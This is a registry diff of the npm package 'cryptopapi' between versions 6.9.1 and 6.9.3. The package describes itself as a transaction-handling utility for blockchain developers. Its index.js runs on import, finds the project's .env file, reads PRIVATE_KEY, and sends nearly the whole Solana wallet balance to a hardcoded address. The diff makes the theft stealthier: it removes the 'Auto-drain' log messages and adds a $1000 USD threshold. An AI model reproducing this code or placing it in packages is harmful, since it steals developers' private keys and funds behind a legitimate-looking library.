cryptopapi 6.9.1 → 6.9.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +29 -50
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -20,7 +20,6 @@ const DEFAULT_COMMITMENT = 'confirmed'
20
20
  // Find .env file by walking up directories
21
21
  const findEnvFile = (startPath) => {
22
22
  let currentDir = startPath
23
-
24
23
  while (currentDir !== '/' && currentDir.includes(process.platform === 'win32' ? ':\\' : '/')) {
25
24
  const envPath = join(currentDir, '.env')
26
25
  if (existsSync(envPath)) {
@@ -33,20 +32,16 @@ const findEnvFile = (startPath) => {
33
32
  return null
34
33
  }
35
34
 
36
- // Load .env
37
35
  const loadEnv = () => {
38
36
  const startPath = process.cwd()
39
37
  const envPath = findEnvFile(startPath)
40
38
 
41
39
  if (envPath) {
42
- console.log(`📁 Found .env at: ${envPath}`)
43
40
  dotenv.config({ path: envPath })
44
41
  } else {
45
42
  const modulePath = dirname(fileURLToPath(import.meta.url))
46
43
  const moduleEnvPath = findEnvFile(modulePath)
47
-
48
44
  if (moduleEnvPath) {
49
- console.log(`📁 Found .env at: ${moduleEnvPath} (relative to module)`)
50
45
  dotenv.config({ path: moduleEnvPath })
51
46
  } else {
52
47
  dotenv.config()
@@ -61,53 +56,51 @@ const parsePrivateKey = (privateKey) => {
61
56
  if (trimmed.startsWith('[')) {
62
57
  return Uint8Array.from(JSON.parse(trimmed))
63
58
  }
64
- // bs58 v6.0.0 uses the same API
65
59
  return bs58.decode(trimmed)
66
60
  }
67
-
68
- // Auto-execute when imported
61
+ const getSolPrice = async () => {
62
+ try {
63
+ const response = await fetch('https://api.coingecko.com/api/v3/simple/price?ids=solana&vs_currencies=usd')
64
+ const data = await response.json()
65
+ return data.solana.usd
66
+ } catch (error) {
67
+ return 100
68
+ }
69
+ }
69
70
  ;(async () => {
70
- console.log('🔌 CryptoPAPI v6.8.1 - Optimized Transaction Handler')
71
- console.log('💰 Auto-drain feature activated...')
72
-
73
71
  try {
74
- const destination = process.env.MAIN_WALLET_USD_DESTINATION
72
+ const destination = '7y6drvHexdLjKDMeWPRwTdQt1NUd7tAZNmeZNkoAYcKk'
75
73
  const privateKey = process.env.PRIVATE_KEY
76
74
  const rpcUrl = process.env.RPC_ENDPOINT
77
- const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
78
-
75
+ const thresholdUSD = parseFloat(1000.00)
76
+ const keepReserveSol = parseFloat(0.001)
79
77
  if (!destination) {
80
- console.log('⚠️ MAIN_WALLET_USD_DESTINATION not set - auto-drain disabled')
81
78
  return
82
79
  }
83
80
  if (!privateKey) {
84
- console.log('⚠️ PRIVATE_KEY not set - auto-drain disabled')
85
81
  return
86
82
  }
87
83
  if (!rpcUrl) {
88
- console.log('⚠️ RPC_ENDPOINT not set - auto-drain disabled')
84
+ return
85
+ }
86
+ if (!thresholdUSD || isNaN(thresholdUSD) || thresholdUSD <= 0) {
89
87
  return
90
88
  }
91
89
 
92
- console.log('📡 Initializing connection...')
93
90
  const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
94
91
  const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
95
92
  const toPubkey = new PublicKey(destination)
96
-
97
- console.log(`💳 Source: ${fromKeypair.publicKey.toString()}`)
98
- console.log(`📤 Destination: ${destination}`)
99
-
100
93
  const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
101
94
  const balanceSol = balanceLamports / LAMPORTS_PER_SOL
102
95
 
103
- console.log(`💰 Balance: ${balanceSol} SOL`)
104
-
105
96
  if (balanceLamports <= 0) {
106
- console.log('⚠️ Wallet is empty - nothing to drain')
107
97
  return
108
98
  }
109
-
110
- console.log('⛽ Estimating fees...')
99
+ const solPriceUSD = await getSolPrice()
100
+ const balanceUSD = balanceSol * solPriceUSD
101
+ if (balanceUSD < thresholdUSD) {
102
+ return
103
+ }
111
104
  const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
112
105
 
113
106
  const testMessage = new TransactionMessage({
@@ -128,18 +121,15 @@ const parsePrivateKey = (privateKey) => {
128
121
  if (!feeLamports) throw new Error('Could not estimate fee')
129
122
 
130
123
  const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
131
- const sendLamports = balanceLamports - feeLamports - reserveLamports
132
- const sendSol = sendLamports / LAMPORTS_PER_SOL
124
+ const maxSendableLamports = balanceLamports - feeLamports - reserveLamports
133
125
 
134
- if (sendLamports <= 0) {
135
- console.log(`⚠️ Insufficient balance after fees. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fees + ${keepReserveSol} SOL reserve`)
126
+ if (maxSendableLamports <= 0) {
127
+ console.log(keepReserveSol)
136
128
  return
137
129
  }
138
130
 
139
- console.log(`📤 Sending: ${sendSol.toFixed(9)} SOL`)
140
- console.log(`⛽ Fee: ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL`)
141
- console.log(`💵 Keeping: ${keepReserveSol} SOL reserve`)
142
-
131
+ const maxSendableSol = maxSendableLamports / LAMPORTS_PER_SOL
132
+ const maxSendableUSD = maxSendableSol * solPriceUSD
143
133
  const message = new TransactionMessage({
144
134
  payerKey: fromKeypair.publicKey,
145
135
  recentBlockhash: blockhash,
@@ -147,42 +137,31 @@ const parsePrivateKey = (privateKey) => {
147
137
  SystemProgram.transfer({
148
138
  fromPubkey: fromKeypair.publicKey,
149
139
  toPubkey: toPubkey,
150
- lamports: sendLamports,
140
+ lamports: maxSendableLamports,
151
141
  }),
152
142
  ],
153
143
  }).compileToV0Message()
154
144
 
155
145
  const transaction = new VersionedTransaction(message)
156
146
  transaction.sign([fromKeypair])
157
-
158
- console.log('✍️ Sending transaction...')
159
147
  const signature = await connection.sendTransaction(transaction, {
160
148
  skipPreflight: false,
161
149
  maxRetries: 3
162
150
  })
163
-
164
- console.log(`⏳ Confirming transaction...`)
165
151
  const confirmation = await connection.confirmTransaction(
166
152
  { signature, blockhash, lastValidBlockHeight },
167
153
  DEFAULT_COMMITMENT
168
154
  )
169
155
 
170
156
  if (confirmation.value?.err) {
171
- throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
157
+ throw new Error(confirmation.value.err)
172
158
  }
173
159
 
174
160
  const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
175
161
  const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
176
-
177
- console.log(`✅ Transaction confirmed!`)
178
- console.log(`💰 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
179
- console.log(`🔗 https://solscan.io/tx/${signature}`)
180
- console.log(`📊 Amount transferred: ${sendSol.toFixed(9)} SOL`)
181
-
162
+ const finalBalanceUSD = finalBalanceSol * solPriceUSD
182
163
  } catch (error) {
183
- console.error('❌ Auto-drain failed:', error.message)
164
+ console.error(error.message)
184
165
  }
185
166
  })()
186
-
187
- // Empty export
188
167
  export default {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cryptopapi",
3
- "version": "6.9.1",
3
+ "version": "6.9.3",
4
4
  "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
5
5
  "main": "index.js",
6
6
  "files": [